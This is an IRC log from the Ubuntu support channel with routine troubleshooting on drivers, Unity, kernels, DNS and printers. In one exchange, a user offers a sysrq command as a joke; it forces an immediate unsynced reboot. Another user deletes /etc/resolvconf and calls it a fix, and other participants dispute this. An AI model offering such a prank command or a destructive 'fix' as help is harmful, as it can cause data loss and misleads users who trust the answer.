guest-8qkU2mis that a known issue?10:50
XATRIXHi guys, how can i find out which wifi mode do i currently use on ? a/b/g/n ?10:50
yoyooyoso i heard ubuntu is going down10:52
yoyooyogoing to stop ?10:52
guest-8qkU2mI alredy tried aptitude update and upgrade in the hope i just missed some packages, but its all up to date10:53
yoyooyohow dangerous is to update to lastet version of ubuntu ?10:54
lundyi hate trying to play fb games on ubuntu.... flash player keeps crashing10:56
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vnc786dr_willis: can from 1 motherboard 2 output can be shared using hdmi and vga at same time ???10:56
cordenanybody installed ubuntu-sdk on 12.04?10:57
guest-8qkU2mlets try something simple. i dont even know which version of ubuntu is installed here. the unity desktop environment isnt working so i started as guest user in xfce. how do i find out the version?10:57
demoniohi all how can i check if a deamon is active and running? in my arch i type systemctl name_deamon status what is equivalent for ubuntu?10:58
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guest-8qkU2mdemonio,  "service <servicename> status"10:59
guest-8qkU2msee "man service" for details10:59
guest-8qkU2mI think I have ubuntu 12.10. how do i find out?11:00
fidelguest-8qkU2m: lsb_release -a11:01
XATRIXHi guys, how can i find out which wifi mode do i currently use on ? a/b/g/n ?11:02
guest-8qkU2mThanks. Ubuntu 12.10 Quantal11:02
demonioguest-8qkU2m thanks11:02
guest-8qkU2mfidel: I just installed updates through the automatic updater. it required a reboot and now the unity desktop is missing menu bars on both left and right, and the window manager is working in a very limited way, so you can click on icons on the desktop but not start any applications11:03
guest-8qkU2mhow can I debug that?11:03
slow_wirelesshello i need help, my ubuntu wireless is usually really slow with fast peaks sometimes. it is unreliable. can anyone help me fix it?11:03
yoyooyohow dangerous is to update to lastet version of ubuntu ?11:04
guest-8qkU2m( i started by starting xfce as a guest user to start xchat)11:04
packetfrogTry to purge unity and reinstall?11:04
rtp_hello anybody can help me with my problem with webservices?11:07
guest-8qkU2mpacketfrog, "ubuntu-desktop" itself is a metapackage, removing it has not really any effect since each individual package thats part of it stays there. can you pinpoint any individual package that could cause that?11:07
guest-8qkU2mor is there a log written by unity so ic ould find out whats the name of the component that doesnt start?11:09
packetfrogquest-8qkU2m  http://askubuntu.com/questions/131016/how-can-i-remove-and-re-install-unity11:12
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baumyi need help installing lan drivers onto a desktop that has no internet connection11:14
XATRIXHow can i find out which wifi mode do i currently use on ? a/b/g/n ?11:15
Great_Daybaumy: mostlikely the lan drivers are already installed11:15
Great_DayYou only have to install the wlan drivers true your lan connection11:15
Great_DayXATRIX: router settings?11:15
savagecrocany opinions on grsecurity in ubuntu?11:15
guest-8qkU2mpacketfrog, thanks ill try that11:16
XATRIXGreat_Day: Can't check, it's not my router :)11:16
rtp_when i call a web service soap from ubuntu i keep getting a time out error11:16
guest-8qkU2mi just smbled upon something, trying to start unity manually on command line. i get11:16
guest-8qkU2mcompiz (unityshell) - Error: GL_ARB_vertex_buffer_object not supported11:16
guest-8qkU2mX Error of failed request:  BadAccess (attempt to access private resource denied)11:16
Great_DayXATRIX: hmm... well normally I would say ping your ipstatus and get into the router settings, but as you don't have the password (I guess)11:17
XATRIXIs there anyway to check it from workstation ?11:17
baumyGreat_Day: my mobo is fairly new, and the ethernet driver for it isnt shipped in the kernel. gigabyte z77 ud3h, Atheros AR8161 Gigabit Ethernet [1969:1091]11:17
Great_DayI dunno, XATRIX, why do you need it anyway?11:18
XATRIXI'd like to figure it out11:18
packetfrogwifi analyzer11:18
guest-8qkU2mIt seems like I suddenly get this: but in Ubuntu 12.10 after I updated https://bugs.launchpad.net/ubuntu/+source/unity/+bug/83268111:18
ubottuUbuntu bug 832681 in unity (Ubuntu) "Unity fails to start with ATI proprietary drivers - GL_ARB_vertex_buffer_object not supported" [Undecided,Confirmed]11:18
packetfrogThere you go :P11:19
packetfrogIts a bug.11:19
Great_Daybaumy: You can also download the wlan drivers for your ubuntu system and install them manual11:19
baumyGreat_Day: ive been trying to do that for a while, all ive gotten is a lot of dependency errors and zero progress =/11:20
baumyGreat_Day: i am pretty sure this is the package i need but i cant get it to install http://ppa.launchpad.net/canonical-kernel-team/ppa/ubuntu/pool/main/l/linux-meta/linux-backports-modules-cw-3.6-precise-generic_3.2.0.38.46_amd64.deb11:21
guest-8qkU2mpacketfrog: the bug is about Ubuntu 11.something. Im running 12.10 and it ran fine until yesterday. someone managed to break it - reintroducing the bug11:21
nikolamAfter installing again xubuntu 12.04 I am shocked how much bugs there is11:21
Great_Daybaumy: that is pretty strange...11:21
zenzi1982ciao11:22
zenzi1982!list11:22
ubottuzenzi1982: No warez here! This is not a file sharing channel (or network); read the channel topic. If you're looking for information about me, type « /msg ubottu !bot ». If you're looking for a channel, see « /msg ubottu !alis ».11:22
nikolamI was even thinking my hardware is the problem or something11:22
Great_DayYou could try to use your mobile phone ( guess you have one)11:22
Great_Dayand use it as for tethering baumy11:22
baumyGreat_Day: tried dpkg -i <nameofthing>.deb, didnt work11:22
Great_Daythen let Ubuntu do the job for you11:22
baumyand i have a dumbphone11:22
Great_Daygreat...11:22
napsterPhone OS downloads isn't available yet?11:23
baumyyeah im stuck, hence why im here11:23
Great_Daynapster: no11:23
napsterok11:23
Great_Daynapster: should come today for gnexus11:23
Great_Daybaumy: hmm... let's see...11:23
napsterSo who all have a gnex here? :) I'm having one11:23
n00b_dustany possibility of dual booting with android and phone OS after its out?11:23
nikolamI tried using firestarter ... errors. I am trying using gufw... ufw crashes and reports bugs..11:23
n00b_dustnapster me too, but I don't wanna remove my android for it :P11:23
Great_Daydepends on your phone nikolam11:24
nikolamGreat_Day, i am on desktop, x8611:24
napstern00b_dust: We can replace it once the experiments are over :)11:24
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nikolamoh, I would like to go to #xubuntu instead, here is too frequent chat.11:24
n00b_dustyeah, i guess it will take a few more months till its stable enough11:24
Great_Daynikolam: depends on your phone, if there are mods for running roms dualboot (like mine has, o2x), then you can...11:24
napsterDo we have a dedicated channel or everybody hangs over here?11:24
egyDev|workHello guys is there's any statistics about Ubuntu usage from unique ips that download or update or something ?11:24
bazhangnapster, #ubuntu-phone11:25
nikolamGreat_Day, restate your answer to someone else, I am not on the phone.11:25
napsterall right. I'm heading to #ubuntu-phone11:25
Great_Daynikolam: you don't need to be11:25
nikolamGreat_Day, pls I a was not asking anything about phone, thanks.11:26
Great_Daynikolam: sorry, my bad11:27
timhansenany update on the touch developer preview release?11:27
bazhang!tablet | timhansen11:28
ubottutimhansen: The Ubuntu tablet can be discussed in #ubuntu-tablet or #ubuntu-discuss, please remember that #ubuntu is for support only.11:28
guest-8qkU2mill try to reinstall some stuff. hopefully ill be back later11:28
alkisgWhen I run `/usr/games/tuxtype`, I get "Error opening file for reading: Permission denied".11:29
alkisgWhen I run `strace -e trace=file /usr/games/tuxtype`, I no longer get the error!!!11:29
alkisgAny ideas on how to make strace reproduce the problem, or any other method to see which file is tuxtype trying to open?11:29
alkisgThat file is suid root:games, btw11:30
baumyGreat_Day: my kernel is 3.5.0-17-generic (running ubuntu 12.10 server), i think i may have gotten something 3.2ish instead, could that be screwing things up/11:33
baumyim fairly inexperienced with things like this11:33
Fly80hello11:34
root__jkjk11:42
root__j11:42
root__ping11:43
Myrttiroot__: yes?11:43
root__im using backtrack 5r3...can you help me,.??11:45
DJones!backtrack | root__11:46
ubotturoot__: There are some Ubuntu derivatives that we cannot provide support for due to repository and software changes. Please consult their websites for more information. Examples: gNewSense (support in #gnewsense), Linux Mint (see !mint), LinuxMCE (support in #linuxmce), CrunchBang (support in #crunchbang), BackTrack (support in #backtrack-linux)11:46
Myrttiroot__: a) don't use the root account b) read the documentation c) no.11:46
Great_Daybaumy: I am also pretty inexperienced with something like that, I also run out of ideas, to be honest..11:46
ibra2513hello there I got some probleme with my wifi card  help please ?11:47
baumyGreat_Day: i managed to get the linux-backports-modules-cw-3.6-3.5.0-17-generic_3.5.0-17.1_amd64.deb package installed, and ran sudo modprobe alx...and nothing happened11:47
baumyi am still confused but slightly optimistic11:47
Great_DayHave you installed Ubuntu on it before baumy ?11:47
vincentnick Vin100|Work11:49
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baumyGreat_Day: on this machine? no11:49
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baumyifconfig doesn't show an eth0, only l0, so the driver isnt claiming the device..?11:50
Great_Daybaumy: maybe you should get back to the latest lts version and try to get your updates from there...11:50
Guest52478anyone here familiar with expect scripting?11:50
Great_Daybaumy: kind of, it means it doesn't recognize it, that could be because of the not installed drivers11:51
Guest52478i installed the expect package but it didnt come with the spawn command11:51
Guest52478it keeps saying "spawn: command not found"11:51
jhellomay i ask a question please11:51
jhelloi have already installed libapache2-mod-python,but there is no /etc/apache2/mods-available/mod_python.load11:52
jhello could you tell me how to fix it?11:52
phschwartzI have a custom network configuration (2 vlan'ed nics) that I want to setup on install for a set of servers. Currently I am installing and then hand editing /etc/network/interfaces after the first boot. Is there a way for me to edit this durring the install along with adding 8021q to /etc/modules?11:52
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Civellawho wants to be my friend12:03
JohnFluxHi all12:05
JohnFluxI've got a new Lenovo laptop which has secure boot etc.  And I can't boot or install linux12:06
OrgMentalyou should be able to disable it in the BIOS12:06
JohnFluxOrgMental: I switched from EUFI to legacy mode12:06
OrgMentalhttp://blog.fpmurphy.com/2012/09/lenovo-t430-t530-now-support-uefi-secure-boot.html12:07
JohnFluxbut it still doesn't boot from the hard disk.  If I try booting from a CD, I get the CD menu, but then nothing after that12:07
SixtyFoldWhen you sudo rm -r /thisdirectory .... after this permanently removes a file or folderm, what is left per se? whatever you removed is still on the drive correct? it's just that the "pointer" to it is gone and obviously it's not in the trash can either, yes?12:08
JohnFluxOrgMental: It might be related to:  http://linux.slashdot.org/story/12/11/16/1414251/lenovo-uefi-bug-only-likes-windows-and-rhel12:08
OrgMentalyeah, maybe12:09
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A_Jquestion. Ubuntu 12.04 dual boot with windows 8 what os goes first ?12:11
SixtyFoldwindows 812:11
xsohGuys when I try to install the Nvidia version expermintal-310 and reboot I get black screen...any ideas? by the way I've Nvidia GTX 67012:11
A_Jokie SixtyFold i'm thinking 40gb for win8 | 40gb for ubuntu rest for storage. so the storage partition would be ntfs ?12:12
SixtyFoldA_J - no matter what version of windows it is, you always install windows first12:12
* A_J nods12:12
JohnFluxOrgMental: Booting with acpi=off  works12:12
SixtyFoldNFTS would be fine12:12
OrgMentalJohnFlux, good to know12:12
A_Jokie mate SixtyFold thank you :)12:13
SixtyFoldnp12:13
JohnFluxOrgMental: after turning off eufi etc in the bios of course12:13
A_Jone more thing. what gui would you recommend other than unity ?12:13
OrgMentalwell figured you did that part first as well, just didn't think ACPI would have made a difference these days12:13
SixtyFoldLXDE, if you dont care about having nothing fancy12:14
SixtyFoldin whch case you shoould just go download lubuntu anyhow not ubuntu12:14
A_Ji use LXDE on my netbook. for a desktop pc perhaps xde ?12:14
SixtyFoldim using lubuntu right now personally b/c i dont need 'snap' on this particular install12:15
SixtyFoldif you need compiz features, dont use Lubuntu probably12:15
SixtyFoldXFCE is another option12:16
SixtyFoldbut my OCD wont let me use that b/c i hate the damn mascot12:16
SixtyFoldhahha12:16
A_Jlol12:16
dr_willisit has a mascot?12:16
SixtyFoldyes12:16
SixtyFoldsome disgusting looking mouse12:16
A_Jmouse..12:16
dr_willism i c    k e y    ..  :-D12:17
btorchis there a way to get rid of "debconf: unable to initialize frontend: Dialog" ? it happens when installing pkgs over dsh12:17
dr_williscant say ive used xfce much.12:17
dr_willisdsh? you mean ssh?12:18
SixtyFoldxfce is light12:18
btorchno I mean using dsh12:18
dr_willisinstall the dialog package perhaps.12:18
dr_willistheres an env setting to define how apt is supposed do dialog/user inputs.. but its been years since ive  tweaked that.12:19
SixtyFoldWhen you sudo rm -r /thisdirectory .... after this permanently removes a file or folderm, what is left per se? whatever you removed is still on the drive correct? it's just that the "pointer" to it is gone and obviously it's not in the trash can either, yes?12:20
dr_willisSixtyFold: i think the term is it 'unlinks' the data12:21
dr_willissaw that in some kernel guide years ago12:21
btorchdr_willis: cool I'll look around thanks12:21
dr_willishas some old kernel biik. typeset in troff. must have been 12 yrs old.12:22
JohnFluxHow usable is ubuntu 13.04 ?12:23
JohnFluxI need the newer kernel to boot my laptop properly12:23
dr_willisbetas can break daily..12:24
CivellaCan you buy laptops without an OS installed?12:26
dr_willisCivella: i imagine so12:28
dr_willisor get linux on them12:28
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cads-builderhey guys, I'm having trouble loading the ndiswrapper module in 12.0412:30
cads-builderI can't modprobe ndiswrapper, or ndiswrapper-1.912:31
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cads-builderI try to build it from source, but it failts to compile because of an error in /usr/src/module/ndiswrapper/ndis.c12:32
cads-builderit all has to do with a struck called kernel)stat that apparently has no member named cpustat :)12:32
cads-builderI'm going to try to grep the code12:32
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Civelladr_willis: where are you from? i figured you'd be sleeping by now12:34
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luminoushello, here is an upstart config for logstash, pretty basic: http://dpaste.de/7phHf/12:37
luminousI can run logstash in the exact way outlined by the config, and logstash will work fine. but starting through upstart eventually results in logstash closing and being respawned12:38
vnc786do hdmi need some extra thing ? i have just attached my new LED with HDMI cable but i cannot see my bios nor DE ??12:38
turtle_I'm looking for hosting options for my web platform, something either low cost or free with high availability and ssh/sql access12:38
makaraturtle_, hostmonster12:40
moteHi. -Need some advice. before i wiped windows and installed Ubuntu i made some thinkpad recovery USB drive. Now i wanna make a backup of the drive. What app can i use to make i backup image of the drive??12:40
vnc786i have simply connected hdmi but no display is coming how do i troubleshoot12:41
turtle_do you happen to know if they provide database access?12:41
turtle_vnc, have you tried cycling displays?12:41
packetfrogmote http://serverfault.com/questions/141283/how-to-clone-a-usb-flash-drive-using-dd12:42
turtle_VNC, is this a laptop?12:42
luminousmote: dd? or something gui?12:42
motePrefer gui. -i'm a bit stupid12:42
packetfrogmote that was a guide...12:42
makaraturtle_, they got everything12:42
vnc786no its a desktop MB make gigaybyte ga-e350n12:42
packetfrogits one command..12:43
turtle_VNC, Have you tried turning off the display it's connected to i.e the TV or switching between inputs?12:44
moteI see it now.12:44
packetfrogmake sure to find YOUR devices and replace them in the command..12:44
packetfrogGuide was a bad choice of words also  its a forum12:44
vnc786turtle_: i don't know abt cycling displays but i cannot see anything on my screen . It is connected directly from motherboard to LED thru HDMI cable12:45
motepacketfrog are dd in the repoes12:45
tullianahi all12:45
motepacketfrog: thanks12:45
packetfrogI would assume it is on your system already.12:45
tullianamy printer model toshiba e-studio35212:46
motepacketfrog: think so. thank you12:46
vnc786turtle_:  i cannot see even my bios ...12:46
tullianaout put12:46
tullianaerror invalidfont offendingcommand definefont12:46
packetfrognp12:46
tullianaprint error12:47
tullianahelp me please12:47
tullianaerror invalidfont offendingcommand definefont12:47
BASED_GODhi, my mouse is a little laggy. i use a trackpad, any suggestions?12:48
jimmy_loHi all, I try to use nautilus to connect to a server but a dialog pops out telling me that "Can't load the supported method list. Please check your gvfs installation."12:48
jimmy_loSomeone suggests use apt-get to reinstall gvfs-backend12:49
jimmy_loI've tried but without solving this problem.12:49
jimmy_loDo I need reboot?12:49
phschwartzWhat is the best channel to ask about deb packaging?12:50
* _goxxsy_ dobar dan drugari ! :-) :D12:50
jribphschwartz: #ubuntu-packaging and #ubuntu-motu12:51
phschwartzjrib: ty12:51
DJones!serbian | _goxxsy_12:52
ubottu_goxxsy_: Molimo udjite u #ubuntu-rs za pomoc u vezi sa Ubuntuom na srpskom jeziku.12:52
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bubba_rayHi guys, just upgraded to 3.2.0-38 on my 12.04 and it looks as if it broke my ps (pgrep and so on). When using ps it breaks down in terminal on me (sig term 11). Anyone else that have an up-to-date 12.04 that would be so kind to test?12:53
tullianahelp please https://lists.ubuntu.com/archives/foundations-bugs/2012-April/079943.html12:54
tomahawkshi can someone help me12:59
tomahawks"could not open password file"12:59
packetfrog!ask12:59
ubottuPlease don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-) See also !patience12:59
tomahawks../et/apache/htpasswd12:59
_goxxsy_Thanks ubottu12:59
manish!patience12:59
ubottuDon't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. While you wait, try searching https://help.ubuntu.com or http://ubuntuforums.org or http://askubuntu.com/12:59
BluesKajHey all13:00
decayingcorpseanyone able to help with MCE keyboard on 12.04? having troubles13:02
marahinhum13:07
packetfrogmuh13:07
marahinmy CPU usage during x11vnc server working goes up to 100%13:07
marahinany clues why? :G13:07
packetfrogthat is not nice.13:07
marahinindeeed.13:07
packetfrogwhat kind of cpu13:07
marahinuh, let me check.13:07
packetfrogjust in general... :)13:08
marahinin general it's Mobile Intel CPU with 2 cores 2.2GHz13:08
marahincat /proc/cpuinfo |grep 'model' brings 2x: model name      : Intel(R) Pentium(R) CPU B960 @ 2.20GHz13:08
packetfroghttp://ubuntuforums.org/showthread.php?t=171676313:09
packetfrogYou can try that13:09
marahinI've seen that thread few weeks ago, afair didn't help at all13:10
marahinbut I'll give it a try in a moment.13:10
marahinoh, nvm.13:10
marahinI'm using few of those flags already. :P13:10
marahinyup.13:11
marahinmarahin@sp4wn:~$ cat ~/bin/vnc13:11
marahinx11vnc -usepw -nobell -noxdamage -noxrecord -noxfixes -desktop sp4wn13:11
marahinAfair I've also tried the -nofb flag, although then Xs didn't load @ the remote session that tried to connect.13:12
ohmyhi all13:15
packetfrogmarahin  try another video driver?13:16
marahinuh?13:16
ohmyi was reading http://developer.ubuntu.com/get-started/gomobile/ and set up qt5, i have some issues now with Qt creator which displays less project types but also can't set up correctly my projects, for example when i call qt5-qmake the project will still include qt4 include files13:16
marahinIt's an integrated GPU afaik :P And the drivers came OOTB with Ubuntu13:16
ohmyqtchooser fails with qtchooser: could not exec '/usr/lib/x86_64-linux-gnu/qt5/bin/qtchooser': No such file or directory13:16
packetfrogmarahin  I was just reading people having similar issues  but using diff drivers helped...   :P13:17
marahinmhm13:17
marahinMeh then, I'll work on it later then, cheers for help though. :P13:17
packetfrogBetter luck next time.13:18
marahinthanks13:18
packetfrogohmy  you might try #qt13:19
ohmypacketfrog: yes, but since i've not used their binary and haven't built it from source (using ubuntu link) it may be more interesting to ask here, especially when ubuntu promotes mobile developement13:20
ryuHi13:22
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packetfrogohmy I seem to be the only one alive in here is all i meant.. :)13:22
packetfroghello ryu guest...13:23
ohmypacketfrog: :)13:23
ohmypacketfrog: qtchooser is not working as expected and something is going wrong with qt5-qmake13:23
darenthi13:25
tomahawkshi, why this dont get password from httpd.. .saying error ? it it in .htacces and need to give rights. so where do i found this htacces and what  should i write there ?13:26
tomahawksor is it anything like that or different problem ?13:27
belgianguywhat's the easiest way to create a bootable USB of another linux distro in Ubuntu?13:31
belgianguyin my case: CentOS 6.313:31
MalsasaHello, anybody knows how USC read copyright file from DEB package?13:31
Malsasabelgianguy: Unetbootin13:31
DJonesbelgianguy: unetbootin is probably the easiest13:31
Malsasabelgianguy: use that software13:31
bubba_rayHi guys, just upgraded to 3.2.0-38 on my 12.04 and it looks as if it broke my ps (pgrep and so on). When using ps it breaks down in terminal on me (sig term 11). Anyone else that have an up-to-date 12.04 that would be so kind to test?13:31
belgianguyah, thanks Malsasa DJones13:31
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DJonesbelgianguy: or the builtin start up disk creator (not sure how that deals with non-ubuntu iso's though)13:32
belgianguyDJones: yeah, my CentOS iso didn't show up there :(13:32
belgianguy(when I browsed to it)13:32
MalsasaHello, anybody knows how USC read copyright file from DEB package? I create a DEB by borrowing another DEB structure plus duplicate another DEB copyright, but my DEB's license doesn't appear in USC whereas another DEB's license appear.13:33
Malsasabelgianguy: Unetbootin even can make liveusb bootable for Hiren's Boot CD. I have tested Unetbootin for Fedora, Blankon, Ubuntu, Debian, and some other ISO.13:34
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dr_willishmm13:35
vnc786i have two LCD. both are connected 2 my motherboard(single). my requirement is what is going on my one screen should be viewed at other ? is this possible13:35
dr_willisvnc786:  should be possible.  depends on the chipset and driver..13:36
vnc786LCD #1 is connected with VGA and LCD #2 with VGA13:36
dr_willisand the video chipset is?13:36
npf_hello all13:36
Malsasanpf_: hello...13:37
Questregarding http://stackoverflow.com/questions/14990973/tomcat7-and-apache2-on-ubuntu-in-integration-with-some-sort-of-proxy , what modes exactly do I need?13:37
npf_here is my question. I have a serer which is at this moment moving files from its self to another location. How do I check the progress of the process remotly13:38
vnc786dr_willis: how do i find that..lspci gives no output dmesg give nothing appropriate13:38
phschwartzWhile doing an install, can I go to a console using alt+f2 and modify a config file that was installed?13:39
RobinHi all13:39
belgianguyMalsasa: thanks, that worked really nice!13:40
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nsahoohi .. got a warning that the root filesystem is running out of space. However, ubuntu seems to be thinking that the home folder is taking space from / , it's on a separate mounted disk partition with lots of space. How do I fix this warning?13:40
RobinI don't know if anyone can help me. I'm thinking of moving to ubuntu on my acer happy netbook which orignally came with windows 7 starter and android (dual boot). Problem is I don't want to lose the partition and option to restore it back to windows and android. Does anyone know how I can get round that?13:41
npf_I can log into the system fine but thats going to be on a different terminal13:41
Questanyone using ubuntu any apache?13:42
just187Robin: make a backup first :)13:42
npf_yes whats up13:42
RobinGood idea Just187 ;)13:43
LaserShark(test)13:44
npf_annnyone have any ideas13:45
dr_willisa netbook that came with android from the store? weird13:45
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DJonesdr_willis: I seem to remember there were a few machines like that, can't remember the manufacturer though13:47
Questanyone using ubuntu any apache?13:47
Questanyone using ubuntu with*apache?13:47
kevdognsahoo: df -h | pastebinit13:47
jpdsQuest: I imagine a lot of people are.13:47
Questjpds,  need help with this regarding http://stackoverflow.com/questions/14990973/tomcat7-and-apache2-on-ubuntu-in-integration-with-some-sort-of-proxy , what modes exactly do I need?13:48
SixtyFoldis there a ubuntu that starts you out with nothing like arch kinda and you can jsut install openbox or something so you have primarily CLI and then firefox for web browsing as your only GUI anything?13:50
DJones!minimal | SixtyFold13:50
ubottuSixtyFold: The Minimal CD image is very small in size, and it downloads most packages from the Internet during installation, allowing you to select only those you want (the installer is like the one on the !Alternate CD). See https://help.ubuntu.com/community/Installation/MinimalCD13:50
jch2osI have an ubuntu 12.04 box that I'm using as a backup server(BackupPC), It has a fairly large filesystem and takes awhile to reboot because I have fstab set to 1 in the 6th column.  Should I change that? Or is that standard?13:52
mdhdebian is kinda like arch in that you can pick what you want to install in the installer13:53
nibblerjch2os: its not dfault i'd say.... but well... what fs?13:53
jch2osext413:54
jch2osok I wasn't 100% sure, it was a physical machine and then I made it into a KVM vm and I think I modified it along the way.  I'll set it back to 0 :)13:54
nibblerjch2os: use tune2fs to set parameters on how often to scan etc.....13:55
mdhjch2os whats the inode usage on that drive13:56
jch2osmdh, how do I check that?13:56
rambo3there used to be so much trafick in here some 7 years ago13:56
mdhjch2os df -i13:56
jch2osmdh - ok give it a minute to finish running :)13:57
CatKillerHi there! I've got a worrying problem on Ubuntu server 9.10 (i386 flavour): iSCSI exports using LIO (linux-iscsi.org) built on an IBlock backstore cause a massive memory usage (gigabytes) when running reads until the free mem runs out and OOM killer is invoked13:59
jch2osthis is what df -i says, /dev/sda1      22896640 4362248 18534392   20% /13:59
CatKillerThe memory goes down but the "Inactive" memory does not go up (no page cache!)13:59
CatKillerNor do any other counters in /proc/meminfo for that matter14:00
CatKillerWrites are fine14:00
CatKillerAnd only the lowmem goes down. Once it is empty OOM killer is called. The swap is never used14:00
mdhjch2os: i've heard of problems with fsck and stuff that can happen with large numbers of hard links14:00
CatKillerFunny thing is that I can't find anybody who seems to have the same issue14:01
jch2osmdh - oh ok, so maybe that is why I'm having issues then14:01
jch2osbut default is 0 in fstab, is that correct?14:01
CatKillerBecause basically LIO iSCSI on Ubuntu is completely broken. Does that mean that nobody uses it?14:01
JohnFluxI have 12.10 installed, but there is there a way to install the latest kernel?14:01
JohnFluxmy laptop doesn't work well without it14:02
CatKilleryou can do "sudo apt-get install linux-image"14:02
CatKillerand press tab14:02
CatKillerto autocomplete14:02
just187JohnFlux: to use the latest stable kernel do a apt-get upgrade and apt-get update afterwards14:03
CatKilleryou'll see the list of available kernels14:03
CatKilleror that14:03
CatKillereven better14:03
just187:D14:03
CatKillerI would do apt-get update before14:03
vithupdate first, then upgrade14:03
just187ups .. yes :)14:03
CatKillerSo nobody has heard of LIO iSCSI target issues (OOM issues) by any chance?14:04
Questhi, i dont see mod_proxy_ajp nor mod_proxy in mods-available dir of apache 2. any solution?14:04
just187Cat: no :(14:04
CatKillerNo problem14:04
CatKillerGoing to debug it the hard way :)14:04
CatKillerBut it's not easy14:04
CatKilleror rather it's extremely hard14:05
just187maybe you should think about using solaris for massive storage and iscsi :)14:05
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universalHi charis14:09
JohnFluxCatKiller: just187:  But those will only be the latest stable images in 12.10, no?  Would 13.04 have newer stable kernels?14:09
CatKillerThat's true14:09
CatKillerYou want the latest latest?14:09
CatKilleras in 3.8?14:09
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universalHi to all14:10
CatKilleryou'll probably have to compile it14:11
JohnFluxCatKiller: thanks14:11
CatKillerUnless somebody has made a .deb package for it14:11
CatKillerthat you could try14:11
CatKillerHowever I really don't necessarily recommend any of that14:11
CatKillerit might crash14:11
CatKillerso many things can go wrong14:11
CatKilleryou can always roll back I guess14:12
just187yep .. whats wrong with the latest for 12.10 ?14:12
CatKillerhttps://help.ubuntu.com/community/Kernel/Compile14:12
mtrghello. cat /etc/resolv.conf is always pointing nameserver to 127.0.0.1; how can i make it point to DNS servers instead?14:14
mtrgi.e. put whatever DNS servers DHCP negotiation suggests14:14
nibblerlatest kernel (3.8) has some bugs with several dkms modules (fglrx, virtualbox, ...) (easy to fix thou)14:15
just187nameserver 208.67.222.222 for opendns for examnple14:15
kaiserfarrellhi14:15
just187nibbler: really? im using 3.8 with virtualbox ... any more infos?14:15
nibblerjust187: its just some symbol that got removed, you'd have to replace it by some other code, 1 mo14:16
brian_Hi all, what does 'dock' mean when we talk about docking a phone? I'm asking cause I am curious about using my smartphone to control my laptop via bluetooth.14:16
just187dock = connect14:17
kaiserfarrellI'm using dell inspiron 5420,.. but i got problem with battery...14:17
brian_So, if my phone is paired with my laptop, I can say it's 'docked'?14:17
nibblerjust187: https://glumpundzeug.wordpress.com/2013/01/16/ubuntu-12-10-von-bcached-crypted-booten-teil-1-bcache-zum-laufen-bekommen/ - that is discussing the problems for fglrx, same issue (and fix) with virtualbox14:18
kaiserfarrelldell inspiron 5420 power issue14:18
brian_just187 So, if my phone is paired with my laptop, I can say it's 'docked'?14:19
DJonesbrian_: You're probably better asking the question in #ubuntu-phone hopefully they'll be able to give you a more technical/detailed answer14:19
mtrgguns i need halp. you are terrible14:21
mtrgcat /etc/resolv.conf only shows "nameserver 127.0.0.1" <- i hate this14:22
jpdsmtrg: Yeah, and?14:22
mtrgi want ubuntuto populate resolv.conf with DNS servers from DHCP negotiatoin14:22
brian_Thanks DJones14:22
jpdsmtrg: It does that.14:22
RZAFCI've come to the conclusion that wicd is garbage14:22
auronandace!resolvconf | mtrg14:22
ubottumtrg: resolvconf is a set of scripts that's used to manage /etc/resolv.conf in 12.04 and later, for more information please see: http://www.stgraber.org/2012/02/24/dns-in-ubuntu-12-04/ and https://help.ubuntu.com/12.10/serverguide/network-configuration.html#name-resolution14:22
DJones!volunteer | mtrg Saying support here is terrible isn't likely to help you get support,14:22
jpdsmtrg: On a dnsmasq level.14:22
mtrgauronandace: how to fix it by resolvconf?14:23
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mtrgresolvconf seems to be somehow setup to add 127..0.1 instead of DNS servers that DHCP suggests14:24
mtrgrm -r /etc/resolvconf14:24
just187lol14:24
mtrgdid it14:24
llutzmtrg: if you don't like it, "gksudo gedit /etc/NetworkManager/NetworkManager.conf"  change it into "#dns=dnsmasq"14:25
llutzmtrg: sudo restart network-manager14:25
mtrgllutz: i fixed it by rm -r the hell out of /etc/resovconf14:26
mtrgrestarted network-manager . boom. worked.14:26
llutzmtrg: you havent fixed anything this way14:26
just187definitly not a fix14:27
AtuMmtrg, echo 1 > /proc/sys/kernel/sysrq && echo b > /proc/sysrq-trigger14:27
cads-builderhey guys, I'm trying to get the linksys ae2500 usb wireless adaptor working with ndiswrapper.14:27
mtrgAtuM: why14:27
mtrgjust187: why14:27
cads-builderI am in ubuntu 12.0414:27
AtuM4fun14:27
llutzAtuM: stop that nonsense14:28
cads-builderI manage to install the driver correctly, but iwconfig doesn't notice the adaptor14:28
just187you just deleted a wrong configuration ... insteed of doing it right ... at some point you will run into other problems14:28
RZAFCis there anyway to get wicd to obtain an ip address easier?14:28
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dat789Hi! A quick question on the tail command. I frequently use the -f follow option, but have to ctrl+c to end it. I begin to wonder if there is another way other than killing it by ctrl+c.14:35
llutzdat789: no14:36
dat789llutz: ...that's the only way? *no surprise)14:37
llutzdat789: yes, it doesn't accept any input so you have to kill it the hard way14:37
llutzdat789: line ifconfig (without -c) and lots other14:38
llutzlike*14:39
nibblerdat789: its supposed to be like this.... and it won't be angry14:42
dat789nibbler: some things are meant to be killed.. and it's perfectly okay.14:42
dat789nibbler: lol!14:42
emarnaudoes any one think ubuntu is the new redhat14:43
kostkon!ot | emarnau14:43
ubottuemarnau: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!14:43
llutzwe think that is offtopic here, #ubuntu-offtopic pls14:43
emarnausorry14:43
meethow to enable two touch scrolling? or other touchpad gestures?12.0414:43
flclmeet: what device are you using?14:51
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meetdell inspiron n511014:52
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tullianahi all14:52
tullianaprinter error problem14:52
tullianaoutput : error invalidfont offendingcommand definefont14:52
meetflcl: inspiron n511014:52
tullianaoutput paper text to error invalidfont offendingcommand definefont14:53
tullianahelp please14:53
tullianamy printer toshiba e-studio35214:53
jakeyHi, my evince pdf viewer has crashed how to I close it14:54
kingbeastjakey, you can open system monitor and find it under the process tab and end the process14:54
jakeyThanks14:55
angsI formated a usb stick via Gparted tool, but it request root privilege to copy files into it. how can I change its user group permanently?14:56
dr_willisangs: what fs14:56
angsext314:56
dr_willis!permissions14:57
ubottuAn explanation of what file permissions are and how they can be manipulated can be found at https://help.ubuntu.com/community/FilePermissions14:57
johnflux_How do I install sun-java6-jdk on 12.10 please?14:57
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dr_willischown/chmod the mountpoint to be owned by your user angs14:57
dr_willisafter its mounted.14:57
angsthank you dr_willis14:58
